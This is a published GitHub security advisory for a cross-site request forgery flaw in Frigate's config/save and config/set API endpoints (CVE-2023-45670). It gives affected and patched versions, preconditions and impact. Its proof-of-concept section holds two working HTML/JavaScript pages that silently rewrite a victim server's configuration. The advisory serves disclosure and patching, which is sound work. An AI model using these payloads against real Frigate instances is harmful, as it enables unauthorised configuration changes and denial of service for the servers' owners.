Skip to content

Cross-site request forgery in `config_save` and `config_set` request handlers (GHSL-2023-198)

Moderate
blakeblackshear published GHSA-xq49-hv88-jr6h Oct 28, 2023

Package

No package listed

Affected versions

<= v0.12.1, < v0.13.0 Beta 3

Patched versions

v0.13.0 Beta 3

Description

Summary

The config/save and config/set endpoints of Frigate do not implement any CSRF protection. This makes it possible for a request sourced from another site to update the configuration of the Frigate server (e.g. via "drive-by" attack).

Exploiting this vulnerability requires the attacker to both know very specific information about a user's Frigate server and requires an authenticated user to be tricked into clicking a specially crafted link to their Frigate instance.

This vulnerability could exploited by an attacker under the following circumstances:

  1. Frigate publicly exposed to the internet (even with authentication)
  2. Attacker knows the address of a user's Frigate instance
  3. Attacker crafts a specialized page which links to the user's Frigate instance
  4. Attacker finds a way to get an authenticated user to visit their specialized page and click the button/link

Details

When provided with a POST request containing the save_option parameter, the config_save request handler will attempt to write the user-supplied configuration in the request body to the configuration file on disk. Similarly, when provided with a PUT request the config_set request handler will attempt to update the existing configuration file with the user-supplied values specified as variables in the URL.

As these endpoints do not have any CSRF protection or authentication requirement this permits a request from any origin (e.g. a "drive-by" attack) to update the configuration of the Frigate server.

Proof of Concept
  1. Start Frigate following the Docker instructions using the example config.yml file.
  2. Host an HTML file with the following contents anywhere accessible from your local machine:
<html>
<script>
function pwnd()
{
        let xhr = new XMLHttpRequest();
        xhr.open("POST", "http://<FRIGATE_SERVER>:5000/api/config/save?save_option=saveonly");
        xhr.onreadystatechange = function () {
                  if (xhr.readyState === 4) {
                              console.log(xhr.status);
                              console.log(xhr.responseText);
                            }};
let data = `mqtt:
  host: mqtt
cameras:
  pwnd:
    ffmpeg:
      inputs:
        - path: /media/frigate/car-stopping.mp4
          input_args: -re -stream_loop -1 -fflags +genpts
          roles:
            - detect
            - rtmp
    detect:
      height: 1080
      width: 1920
      fps: 5`;
        xhr.send(data);
        console.log("pwnd");
}
pwnd();
</script>
</html>
  1. Access the new page (e.g. http://<YOUR_WEB_SERVER_HOST>/poc.html).
  2. Note that the configuration of the Frigate service has been updated to now have a camera named pwnd instead of test.

This can also be performed against the config/set endpoint with the same setup outlined above, but the following poc.html which will update the mqtt.host value to pwnd:

<html>
<script>
        function pwn() {
        let xhr = new XMLHttpRequest();
        xhr.open("PUT", "http://<FRIGATE_SERVER>:5000/api/config/set?mqtt.host=pwnd");
        xhr.onreadystatechange = function () {
                  if (xhr.readyState === 4) {
                              console.log(xhr.status);
                              console.log(xhr.responseText);
                            }};
        xhr.send();
        }
pwn();
</script>
</html>

This demonstrates that requests from any origin can result in arbitrary writes to Frigate's configuration.

Impact

This issue can lead to arbitrary configuration updates for the Frigate server, resulting in denial of service and possible data exfiltration.

Severity

Moderate

CVE ID

CVE-2023-45670

Weaknesses

Credits